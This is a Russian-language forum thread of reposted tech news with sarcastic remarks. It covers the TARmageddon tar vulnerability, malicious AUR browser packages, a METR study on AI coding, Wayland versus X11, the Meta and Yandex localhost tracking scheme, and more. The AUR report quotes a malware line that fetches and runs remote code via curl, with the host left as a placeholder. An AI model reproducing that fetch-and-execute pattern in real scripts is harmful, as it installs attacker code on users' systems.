«Кристаллов сейчас нет или их не хватает для того, чтобы собрать чипы и раздать партнёрам. Поэтому на развитие эксперимента мы не пошли, не было возможности. А в целом я его оцениваю позитивно и считаю, что это был шаг вперёд», — рассказал СМИ гендиректор «Байкал Электроникс» Андрей Евдокимов.

Подробности (хабр)

Для осознания того, что он сказал, сообщите начальнику, что желания сейчас работать нет, для того чтобы выполнять свои обязанности и следовать его указаниям. Поэтому работать вы не будете. Однако в целом дальнейшия выплата зарплаты рассматривается вами позитивно, как и увеличение размера заработной платы.

В написанной на языке Rust библиотеке async-tar, предоставляющей функции для чтения и записи tar-архивов, выявлена уязвимость (CVE-2025-62518, кодовое имя TARmageddon), позволяющая при распаковке специально оформленного tar-архива не только извлечь размещённые в нём файлы, но и файлы, содержащиеся во вложенном tar-архиве. Уязвимость может быть использована для обхода систем верификации архивов и распаковки файлов, для которых не выполнялась проверка.

Уязвимость также проявляется в форках библиотеки async-tar, таких как tokio-tar, krata-tokio-tar и astral-tokio-tar, а также в утилитах на их основе, например, в пакетном менеджере uv, развиваемом в качестве высокопроизводительной замены «pip» для проектов на языке Python. Из популярных проектов, использующих уязвимые библиотеки, также отмечаются инструментарий testcontainers для запуска docker-контейнеров и WebAssembly runtime wasmCloud. В репозитории crates.is за последние 90 дней библиотека async-tar насчитывает 1.3 млн загрузок, tokio-tar - 2.2 млн, testcontainers - 2.9 млн.

Уязвимость вызвана некорректным выбором позиции при разборе разных значений размера в заголовках ustar и PAX. В tar-архивах в формате PAX для каждого файла внутри архива указываются два заголовка - классический ustar и расширенный PAX. Проблема вызвана тем, что уязвимые библиотеки при распаковке файлов вместо вычисления смещения на основе размера из расширенного заголовка PAX, брали размер из устаревшего заголовка ustar. При нулевом значении размера в заголовке ustar, идущее за ним содержимое файла обрабатывалось как корректный блок TAR-заголовков для следующего файла.

Для совершения атаки достаточно создать TAR-архив, в котором в ustar-заголовке указан нулевой размер, а в заголовке для формата PAX актуальный размер, из-за чего содержимое файла с другим tar-архивом будет обработано как часть основного архива. Пример кода для создания подобных архивов размещён на GitHub. Уязвимость устранена в выпусках tokio-tar 0.5.6 и uv 0.9.5. Для остальных библиотек исправления пока не опубликованы, но для astral-tokio-tar, async-tar и krata-tokio-tar отдельно подготовлены патчи.

Уязвимости в библиотеках присвоен уровень опасности 8.1 из 10, так как проблема может использоваться для перезаписи распаковываемых файлов (в уязвимых реализациях будут распакованы не те файлы, что были видны в архиве). При этом уязвимость в пакетном менеджере uv отмечена как неопасная, так как если атакующий может влиять на содержимое исходного архива, нет смысла усложнять атаку и эксплуатировать уязвимость через вложенный архив, когда можно добиться выполнения кода через сборочные сценарии в основном архиве.

Выявившие уязвимость исследователи предложили несколько гипотетических сценариев атак, позволяющих обойти проверки безопасности и добиться выполнения кода через замену файлов конфигурации или вмешательство в сборочный процесс. Подразумевается, что присланный архив сможет пройти автоматизированную проверку сканером безопасности и ручной аудит, в ходе которого проверяющий не обратит внимание на странный вложенный архив с другими файлами, после чего при распаковке при помощи Rust-библиотек из архива будет извлечено иное содержимое, чем ожидалось.

Например, атакующий может загрузить модифицированный архив в репозиторий PyPI, который пройдёт проверку на основе анализа содержимого основного архива, содержащего легитимный файл pyproject.toml. При обработке данного пакета при помощи утилиты uv легитимный pyproject.toml будет заменён на вредоносный вариант из вложенного архива, содержащий команды, которые будут выполнены при сборке на компьютере разработчика или в системе непрерывной интеграции. Аналогично, можно организовать перезапись файлов контейнера при извлечении образа контейнера при помощи инструментария testcontainers.

>>> Подробности на OpenNET

Здравствуйте мои маленькие любители security и родного начальства. Сегодня я расскажу вам об очередной его победе, на ниве защиты персональных данных:

В даркнете появилось объявление о продаже базы данных объёмом около 3 ТБ, которая, по словам продавца, была получена после взлома двух крупных российских СМС-агрегаторов.

В архиве базы данных содержатся имена пользователей, номера телефонов, IP-адреса, банковские уведомления, коды подтверждения и другие сообщения.

На момент публикации официальных комментариев от компаний-агрегаторов, операторов связи или регуляторов РФ не поступало. Да и вообще это, как водится одно большое:

ВРЁТИ

и

FAKE NEWS

https://habr.com/ru/news/957766/

Читая хабр наткнулся на статью, в которой человек расписывает создание веб-приложения по продаже звуков при помощи ИИ. Согласно заявлению автора, он не разбирался в программировании на момент начала создания этого сайта.

Создание заняло 7 месяцев в основном отладки - девяносто процентов времени и борьбы с юридическими тонкостями ведения бизнеса в этой федерации.

Основными частями приложения, насколько я мог понять являются:

• Фронт написанный на html+js+css.

• Бек состоящий из десяти serverless-функций.

• Модуль управления пользователями (регистрация, оплата).

• База данных.

К настоящему времени веб-приложение готово и его поддержание в работоспособном состоянии обходится в примерно 1700 рублей.

Прочитав этот пост на хабре, у меня возник вопрос который я хотел бы задать вам, уважаемые форумчане: а сколько бы это времени заняло у профессионалов и сколько бы они взяли денег?

По мере своих слабых сил продолжаю следить за миром разрабоки на rust и плотно держать вас в курсе:

Пока вы тихо в углу компилируете свои проекты на Си/С++ и насмехаетесь над wm на php - венчурный фонд вложил 35 млн долларов в редактор Zed, а общие инвестиции в разработку сего замечательного редактора составили 42 млн долларов.

Из примечательного в этом редакторе то, что он написан на rust. Версия редактор 0.200.чего-то там.

Если кого-то интересуют подробности.

В репозитории AUR (Arch User Repository), были обнаружены пакеты содержащие вредоносный код, интегрированные в пакеты с неофициальными сборками браузеров. В дополнение к выявленным две недели назад трём вредоносным пакетам с браузерами, в AUR был добавлен пакет google-chrome-stable, также содержащий изменение, устанавливающее вредоносный компонент, предоставляющий удалённый доступ к системе.

В файле PKGBUILD проблемного пакета была определена установка скрипта для запуска браузера google-chrome-stable.sh, в котором среди прочего присутствовала команда ‘python -c «$(curl вредоносная ссылка)»’, загружавшая вредоносное ПО, распознанное сервисом VirusTotal как троян Spark, позволяющий удалённо управлять системой, запускать процессы, передавать файлы, инспектировать трафик и отправлять скриншоты.

Вредоносный пакет был загружен позавчера и был удалён администраторами AUR через несколько часов после появления. Почти сразу после удаления этого вредоносного пакета в AUR были загружены два вредоносных пакета - «chrome» и «chrome-bin», содержащие аналогичный сценарий установки вредоносного ПО на систему пользователя.

Следом было выявлено ещё три пакета с вредоносным кодом: ttf-mac-fonts-all, ttf-ms-fonts-all и gromit.

>>> Подробности

https://www.linux.org.ru/forum/talks/18038693

В кои веки кто-то создал нормальный топик не про кошечков, не про великие идеи нашего богом данного начальства, а про лисп.

Хотелось поздравить человека с покупкой, спросить как оно, поинтересоваться где скриншоты той гуйни которую можно клепать на этой ide, но нет уже потёрли.

Где там офтопик и дубль, а CrX?

В ветку Android Canary добавлена возможность запуска графический приложений linux. Запуск осуществляется через приложение Linux Terminal, позволяющее запустить в окружении Android виртуальную машину с Debian GNU/Linux, в которой можно выполнять обычные Linux-приложения.

Функциональность виртуальной машины c Linux развивается в рамках проекта Ferrochrome. В гостевом окружении запускается Debian GNU/Linux 12. Для виртуализации используется Android Virtualization Framework, реализованный на базе гипервизора KVM и инструментария crosvm. Графическое окружение использует протокол Wayland и основано на композитном сервере Weston. Запуск приложений, собранных для X11, производится при помощи DDX-компонента XWayland, например, продемонстрирован запуск текстового редактора Gedit.

Есть принципиальная возможность использовать аппаратное ускорение графики на основе виртуального GPU Virgil3D для QEMU/KVM. В качестве иллюстрации продемонстрирован запуск doom. По умолчанию аппаратное ускорение отключено.

>>> Подробности

Исследовательская группа METR (Model Evaluation & Threat Research) опубликовала результаты эксперимента по оценке эффективности применения AI-инструментов для написания кода. Вопреки ожиданиям, исследование показало, что AI-помощники не ускоряют, а замедляют решение поставленных задач, при том, что субъективно участники эксперимента считали, что AI ускорил их работу.

Фактически при использовании AI-помощника на решение задачи в среднем было потрачено на 19% больше времени, в то время как участники полагали, что благодаря AI смогли выполнить работу на 20% быстрее, а до начала работы считали, что AI поможет им ускорить работу на 24%. Результаты также значительно расходятся с прогнозами экспертов в области экономики и машинного обучения, которые предсказывали экономию времени при использовании AI на 39% и 38%, соответственно.

В ходе эксперимента 16 разработчикам открытых проектов, имеющим средний опыт работы с AI-инструментами, было предложено решить 246 задач, связанных с исправлением ошибок и добавлением новых возможностей. Задачи были сформированы на основе реальных issue в GitHub-репозиториях проектов, с которыми у выбранных разработчиков был опыт работы не менее 5 лет. Случайным образом часть задач предлагалось решить вручную, а часть с использованием любого AI-помощника на выбор разработчика (большинство предпочли редактор кода Cursor с моделью Claude 3.5/3.7 Sonnet).

В эксперимент, который проводился с февраля по июнь 2025 года, были вовлечены такие открытые проекты, как mito, stdlib, ghc, cabal, flair, jsdom, hypothesis, trieve, scikit-learn, gpt-neox и transformers. В среднем задействованные проекты имели 23 тысячи звёзд на GitHub, 1.1 млн строк кода, 20 тысяч коммитов и 710 участников.

Упоминаются следующие возможные причины замедления решения задач при использовании AI:

• Низкое качество AI-рекомендаций - разработчики приняли менее 44% от сгенерированных AI предложений и потратили много времени на их чистку и проверку.

• Излишний оптимизм в плане полезности AI и завышенные ожидания от возможностей AI-инструментов.

• Большой опыт работы участников с репозиториями, для которых решались задачи. Разработчики очень хорошо ориентировались в проектах и помощь AI в этой ситуации не представляла ценности.

• В эксперименте использовались слишком крупные и сложные репозитории, с которыми AI работает хуже.

• Неявный контекст репозитория - AI не понимал контекст, в котором работал.

Итоговый вывод: при использовании AI-инструментов разработчики тратят меньше времени на написание кода, поиск информации и чтение документации, но данная экономия сводится на нет из-за повышенных затрат времени на формирование запросов к AI, разбор подсказок, ожидание результата, рецензирование предложений и бездействие. Вместо генерации кода время уходит на взаимодействие с AI, изучение результатов и проверку предложенного кода.

>>> Подробности на opennet

Там огромная стена текста и таблиц, я небольшими выдержками:

Изначально было отмечено, что при тестировании на ноутбуке Lenovo IdeaPad 3 с интегрированным GPU AMD в сеансе Wayland процессор постоянно нагружен примерно на 8% независимо от активности, а каждые 2-3 секунды наблюдается скачок, полностью нагружающий GPU. В сеансе X11 нагрузка на CPU и GPU во время простоя была на нуле.

Тестирование потребления энергии утилитой powertop также показало преимущество сеанса X11: энергопотребление сеанса Wayland составило 6.09 ватт, Wayland с профилем «Color Accuracy» 6.05-6.08 ватт, а X11 - 5.67-5.87 ватт. В целом сделан вывод, что сеанс X11 расходует на 3-7% меньше заряда аккумулятора, чем Wayland.

Проверка нагрузки на CPU утилитой vmstat показала, что во время простоя сеанс X11 потреблял 1.83% CPU, а Wayland - 1.97% (2.1% с профилем Color Accuracy).

сеанс Wayland оказался менее эффективен, чем X11: потребление энергии 22.42 ватт в Wayland и 21.86 ватт в X11, нагрузка на CPU в режиме простоя 0.067% против 0.050%, число переключений контекста - 43.835/s против 34.133/s, нагрузка при просмотре 4K видео в VLC - 12.54% против 4.26%, производительность WebGL - 16 FPS против 29 FPS.

И там далее все в таком духе, ниже делается скромный вывод о том, что Х11 немножко лучше:

По итогам тестирования сделан вывод, что X11 ещё рано сбрасывать со счетов, а решения на базе Wayland требуют дополнительной оптимизации. X11 отмечается как по-прежнему самое оптимальное решение с точки зрения производительности. Реализация Wayland в KDE предположительно лучше, чем в GNOME - сеанс GNOME Wayland, реализованный в Fedora, судя по тестам менее производителен, чем сеанс KDE Wayland, который в свою очередь отстаёт от KDE X11.

Ник Велнхофер (Nick Wellnhofer), сопровождающий библиотеку libxml2, объявил, что отныне будет трактовать уязвимости как обычные ошибки. Сообщения об уязвимостях не будут рассматриваться в приоритетном порядке, а станут исправляться по мере появления свободного времени.

Отмечается, что скрытие сведений об уязвимостях до публикации обновлений и метрики типа OpenSSF Scorecard лишь попытка крупных компаний вызвать у сопровождающих чувство вины и заставить работать бесплатно. Предъявление дополнительных требований к сопровождающим-волонтёрам, работающим без компенсации, названо пагубной практикой.

По словам Ника, библиотека libxml2 не обладает уровнем качества, пригодным для использования в браузерах и операционных системах. Тем не менее, крупные компании, такие как Apple, Google и Microsoft, стали использовать libxml2 в своих операционных системах и продуктах. Подобные действия названы безответственными, а проводимая работа - попытками избавиться от симптомов, а не устранить причину проблем. По мнению Ника для проекта было бы лучше, если упомянутые компании прекратили использование libxml2.

!Ъ

Разработчики свободной системы автоматизированного проектирования печатных плат KiCad рассказали о состоянии реализации поддержки Wayland и обобщили проблемы, мешающие полноценному использованию данного протокола. Пользователям, профессионально проектирующим печатные платы в KiCad или желающим получить стабильное и полнофункциональное окружение, рекомендовано запускать KiCad в средах рабочего стола на базе протокола X11, таких как Xfce, MATE или X11-сеанс KDE Plasma.

Тем кто намерен использовать KiCad в окружениях с Wayland следует быть готовым к возможным зависаниям и аварийным завершениям, невозможности восстановить желаемую раскладку окон и ограничению функциональности интерфейса. Утверждается, что ограничения в функциональности вызваны отсутствием в Wayland возможностей, давно применяемых в приложениях для X11, Windows и macOS, таких как поддержка позиционирования окон и мгновенного перемещения указателя мыши (cursor warp).

Что касается возникающих сбоев, то они связываются с большой фрагментацией композитных серверов для Wayland. GNOME, KDE и обособленные композитные менеджеры по-своему интерпретируют протоколы Wayland, поэтому полагаться при разработке на единую целостную реализацию протоколов Wayland и экспериментальные расширения проблематично. Разработчикам приложений приходится учитывать особенности каждого окружения и применять костыли для обхода проблем, специфичных для разных композитных менеджеров.

Фрагментация композитных серверов существенно увеличивает трудозатраты на реализацию поддержки Wayland. Отмечается, что самое неприятное в том, что разработчики KiCad не имеют возможности исправить возникающие проблемы своими силами, так как проблемы присутствуют не в KiСad, а в протоколах, оконных менеджерах и композитных серверах.

Учитывая, что Linux применяет лишь небольшая часть пользователей KiCad, решено избегать добавления в кодовую базу проекта костылей для обхода проблем, специфичных для оконных менеджеров, но при этом продолжать собирать KiCad для Wayland и тестировать сборки на совместимость. Все выявляемые проблемы и ограничения планируют документировать и доводить до сведения пользователей.

В системе отслеживания ошибок решено не разбирать жалобы от пользователей Wayland, связанные с позиционированием и размером окон, установкой фокуса, а также зависаниями, аварийными завершениями, повышенной нагрузке на CPU, проблемами с устройствами ввода и сбоями при отрисовке, не проявляющимися в сборке для X11.

Среди известных проблем, которые находятся вне зоны влияния разработчиков KiCad и которые не удаётся устранить на стороне KiCad:

• Проблемы с управлением окнами: Невозможность управления позицией окон и панелей (при открытии KiCad нельзя запомнить и восстановить положение окон и панелей инструментов). Проблемы с координацией работы одновременно с несколькими окнами. Ограничение возможности перемещения вкладок и панелей между разными областями.
• Проблемы с устройствами ввода: Возможность мгновенного перемещения курсора (cursor warping) завязана на необязательные экспериментальные расширения протокола, поддерживаемые лишь в отдельных композитных менеджерах. Непредсказуемое поведение при управлении фокусом ввода. Проблемы при использовании специализированных устройств ввода и при обработке горячих клавиш.
• Проблемы со стабильностью и производительностью: Повышенное потребление ресурсов и высокая нагрузка на CPU/GPU по сравнению с использованием X11. Появление графических артефактов при отрисовке и нарушение нормального вывода. Зависания и аварийные завершения, проявляющиеся только при работе в окружениях на базе Wayland. Ненадёжная работа с буфером обмена.
• Ограничения интерфейса пользователя: Проблемы с позиционированием, фокусом и взаимодействием в модальных диалогах. Проблемы с запуском внешних приложений и управления ими.

>>> Подробности (opennet)

Разработчики операционной системы Redox, написанной с использованием языка Rust и концепции микроядра, объявили о реализации поддержки протокола X11 в развиваемом проектом дисплейном сервере Orbital, использующем библиотеку iced. Добавленная возможность позволяет запускать в Redox приложения, использующие X11, без внесения изменений в код. Реализация поддержки X11 в Orbital концептуально напоминает применение XWayland в окружениях на базе Wayland. Реализация также использует бэкенд DRI для повышения производительности отрисовки, в котором пока не полностью реализована поддержка аппаратного ускорения графики.

Проектом развивается собственный пакетный менеджер, набор стандартных утилит (binutils, coreutils, netutils, extrautils), командная оболочка ion, стандартная Си-библиотека relibc, vim-подобный текстовый редактор sodium, сетевой стек и файловая система. Конфигурация задаётся на языке Toml. Для совместимости с существующими приложениями предоставляется POSIX-прослойка, позволяющая запускать многие программы без портирования.

Протестировать Redox можно воспользовавшись ежедневно обновляемыми сборками для виртуальных машин и реального оборудования (aarch64, i686, riscv64gc, x86_64). Среди поддерживаемого оборудования отмечены устройства ввода с интерфейсом USB (клавиатуры, мыши, тачпады), вывод графики через API VESA BIOS или UEFI GOP (драйверы для GPU не поддерживаются), звуковые чипы AC’97 и Intel HD Audio, SATA (AHCI, IDE) и NVMe. Поддержка Wi-Fi и устройств хранения с интерфейсом USB пока не доведена до готовности.

Подробности там.

Компании Meta* и Yandex уличили в скрытом отслеживании пользователей и манипуляциях для обхода предоставляемых браузерами средств обеспечения конфиденциальности, таких как режим инкогнито и возможность очистки Cookie. Активность по деанонимизации сеансов применялась на платформе Android при открытии сайтов, использующих системы web-аналитики Яндекс Метрика или Facebook Pixel.

Суть использованного метода идентификации сводится к тому, что распространяемые Meta и Yandex мобильные приложения для Android, такие как Facebook, Instagram, Yandex Maps, Yandex Navigator, Yandex Search, Yandex Go: Taxi Food и Yandex Browser, создавали дополнительный канал связи с выполняемым в браузере JavaScript-кодом. Мобильные приложения запускали отдельные обработчики соединений на локальном сетевом интерфейсе (127.0.0.1), принимающие запросы по протоколам HTTP, HTTPS, WebSocket и WebRTC.

При открытии в браузере сайтов, использующие системы web-аналитики Yandex Metric или Facebook Pixel, связанный с данными системами JavaScript-код отправлял запросы на открытые мобильными приложениями сетевые порты. В запросах передавались метаданные, Cookie и управляющие команды. В мобильных приложениях браузерные сеансы связывались с реальными идентификаторами пользователя и устройства, к которым имели доступ приложения. Например, сеансы могли связываться с учётными записями в Facebook и Yandex или с идентификаторами AAID (Android Advertising ID). Таким образом, даже при открытии сайта в режиме инкогнито или после удаления Cookie, сервисы Meta и Yandex могли точно идентифицировать пользователя, открывшего сайт, привязываясь к идентификаторам из мобильных приложений, запущенных на том же устройстве.

Реализованная техника представляла опасность не только из-за утечки информации в Facebook и Yandex, но и из-за возможности использования вредоносными приложениями. Сетевые порты, на которые отправлялись сведения об активности в браузере, могли использовать любые приложения для отслеживания активности пользователя и построения истории посещений, а не только приложения Facebook и Yandex.

Компании Facebook и Yandex воспользовались тем, что платформа Android не ограничивает создание слушающих сокетов в привязке к интерфейсу loopback (127.0.0.1), если приложение имеет полномочия INTERNET. В случае Facebook локальному приложению передавалось содержимое Cookie «_fbp» (уникальный идентификатор пользователя в Facebook Pixel). Через манипуляции с WebRTC содержимое подставлялось в поле «ice-ufrag» пакетов SDP, отправляемых в STUN-запросах на локальный хост. 17 мая в Chrome была заблокирована подобная возможность и скрипты Facebook Pixel перевели на использование WebRTC TURN. После раскрытия результатов исследования компания Meta удалила из скриптов Facebook Pixel отправку запросов на localhost.

В Яндекс метод отправки данных из браузера в мобильные приложения применялся с 2017 года. JavaScript-код сервиса Yandex Metrica устанавливал HTTP- или HTTPS-соединение с localhost по сетевым портам 29009, 29010, 30102 и 30103. Обращения отправлялись на сайт yandexmetrica.com, доменное имя которого резолвилось в IP-адрес 127.0.0.1. Информация о сетевых портах, на которых мобильные приложения Yandex должны были открыть слушающие сокеты, подгружалась динамически через запрос к хосту startup.mobile.yandex.net.

Сервер также передавал параметр first_delay_seconds, содержащий задержку перед запуском сетевых сервисов (приложения начинали принимать соединения не сразу после установки, а примерно через три дня). В ответ на HTTP-запрос мобильное приложение возвращало набор данных, включающий идентификаторы в сервисах Yandex, системные UUID и AAID (Android Advertising ID). JavaScript код Yandex Metric переправлял полученные идентификаторы на сервер mc.yango.com.

Упомянутые методы передачи данных работали в версиях Chrome и Edge для Android. В Firefox работал только метод Yandex. В DuckDuckGo и Brave отправка запросов к localhost блокировалась или требовала ручного подтверждения операции. В представленном в конце мая выпуске Chrome 137 была добавлена защита от подстановки данных в SDP.

*компания МЕТА и Facebook запрещены на территории РФ (тьфу тьфу тьфу на них окаянных).

>>> Подробности (opennet)

Microsoft опубликовал исходные тексты подсистемы wsl. Для желающих присоединиться к разработке запущен сайт wsl.dev.

WSL предоставляет виртуальную машину с полноценным ядром Linux (на базе ветки 6.6), в которой могут запускаться дистрибутивы Linux. Ядро включает специфичные для WSL изменения, такие как оптимизации для сокращения времени запуска и уменьшения потребления памяти, возможность возвращения Windows освобождённой Linux-процессами памяти и настройки для исключения лишних драйверов и подсистем. Система устанавливается в отдельный дисковый образ (VHD) c файловой системой ext4 и виртуальным сетевым адаптером.

Компоненты WSL, связанные с ядром Linux и графическим стеком wslg, применяемым для для запуска GUI-приложений на базе Wayland и X11, развивались в открытом виде изначально, но весь сопутствующий инструментарий оставался проприетарным. Отныне в число открытых переведены следующие компоненты:

• утилиты командной строки wsl.exe, wslconfig.exe и wslg.exe, используемые для взаимодействия с WSL;
• сервис wslservice.exe, применяемый для запуска виртуальной машины, активации в ней Linux-окружения и монтирования файловых систем;
• фоновые процессы, запускаемые в Linux-окружении для доступа к функциональности WSL. Например, процесс init для начальной инициализации, gns для настройки сетевого доступа, localhost для перенаправления портов;
• процесс plan9 с реализацией сервера Plan9, применяемого в WSL для совместного доступа к Linux-файлам из Windows.

Остаются частью Windows и не открыты в настоящее время:

• драйвер ядра Lxcore.sys, применяемый для запуска исполняемых файлов в формате ELF через слой обеспечения совместимости;
• драйвер P9rdr.sys и библиотека p9np.dll, обеспечивающие перенаправление доступа к ФС «\wsl.localhost» при обращении из Windows к Linux.

Одновременно компания Microsoft открыла под лицензией MIT исходный код консольного текстового редактора Edit, написанного на модном языке Rust и нацеленного на поставку по умолчанию в 64-разрядных версиях Windows. В ближайшие месяцы редактор будет предложен для ознакомления и тестирования в сборках Windows Insider Program, после чего войдёт в штатную поставку Windows 11.

В редакторе попытались реализовать современный интерфейс с управлением в стиле VS Code. Целью заявлено предоставление интерфейса, который был бы понятен и прост в использовании даже для тех, кто не имеет опыта работы в терминале. Редактор компактен и занимает всего 250kB на диске. Из возможностей упомянуты: система меню, управление клавиатурными комбинациями или мышью, поддержка вкладок и одновременной работы с несколькими файлами, операции поиска и замены, режим автоматического переноса текста на новую строку.

>>> Подробности (OpenNet)

После обновления до версии 1.24.5 пользователи редакторов VS Codium и Cursor, основанных на коде VS Code, столкнулись с невозможностью дальнейшего использования дополнения от Microsoft. Касается это С/С++ и С#.

Разработчики проекта Cursor выпустили обновление, временно решающее проблему, а в дальнейшем решили отказаться от использования проприетарных дополнений Remote access, Pylance, C/C++ и C#. В состав следующей версии планируют включить развиваемые сообществом открытые альтернативные дополнения. Аналогичный переход на открытые аналоги планируют и разработчики проекта VS Codium.

Если кого-то интересуют подробности на опенете.

Что это такое - начинающему атланту не дают расправить плечи, или это очередной этап подковёрной конкурентной борьбы между куркулями - мироедами микрософт и другими «участниками рынка» - пока не понятно.

Замена коснётся более ста утилит, входящих в состав Сoreutils, включая sort, cat, chmod, chown, chroot, cp, date, dd, echo, hostname, id, ln и ls. В настоящее время утилиты uutils уже применяются по умолчанию в дистрибутиве Apertis, основанном на Debian, а также в независимом дистрибутиве AerynOS (SerpentOS). Опубликованный на прошлой неделе выпуск пакета uutils coreutils 0.0.30 успешно проходит 507 тестов (в прошлом выпуске 506, в позапрошлом - 476) из эталонного тестового набора GNU Coreutils. 69 тестов завершилось неудачей, а 41 тест был пропущен. В ближайшие недели также планируется приступить к работе над заменой в Ubuntu утилит su и sudo на пакет sudo-rs. Из рассматриваемых проектов дополнительно упоминаются zlib-rs и ntpd-rs.

Если эксперимент будет признан удачным, то uutils также будут задействованы по умолчанию в LTS-ветке Ubuntu 26.04.

В декабре 2024 года месячная аудитория магазина приложений RuStore составила 50 млн пользователей старше 12 лет по всей России, согласно исследованию Mediascope. Аудитория Xiaomi Mi Store составила 19 млн, Samsung Galaxy Store — 14 млн, HUAWEI AppGallery — 10 млн, рассказали Хабру в пресс‑службе RuStore.

>>>Источник

Количество смартфонов в России По данным Минцифры число устройств мобильной связи в конце 2022 года составляло 315.1 млн. Этот показатель вырос на 77.4 млн с 2010 года

>>>Источник

На лицо опережение таких гигантов как самсунг и ксяоми. А пользуешься ли ты, анончик, рустором?

Проект Бутылка разработан для облегчения установки вин-программ на линуксе. Но поскольку написан, как монолит python+gkt, то не позволяет реализовать использование Бутылки на более распространённом unix-дистрибутиве MacOS X.

Аффтыри хотели переписать всё на электроне, но решили хайпануть сначала на го, но это им показалось не достаточно нажористо, и потому анонсировали использование rust в качестве языка написания и какую-то там libcosmic. Но чтобы ты не расслаблялся, анончик, помимо затаскивания нескольких новых гигов зависимостей для сборки сего чуда, код агента будет написан на .net и будет пускаться вайном.

Для отрисовки могут применяться движки на базе Vulkan, Metal, DX12, OpenGL 2.1+ и OpenGL ES 2.0+. Максимум нет. Пока доступна лишь простейшая версия.

Если кого-то интересуют подробности, то они на опеннете.

Место для установки клоуна тут ↓.

Цель разработки компилятора – полная совместимость с синтаксисом языков Си и С++ при обеспечении полной безопасности работы с памятью. Заявляется, что для использования достаточно пересобрать существующий код, так уже компилируются и работают bzip2, zip, pcre и ncurses. С незначительными модификациями поддерживается сборка OpenSSH, OpenSSL, CPython, SQLite, Lua, Curl, Lynx, jpeg6b, zsh, xzutils и simdutf.

( читать дальше... )

>>> Подробности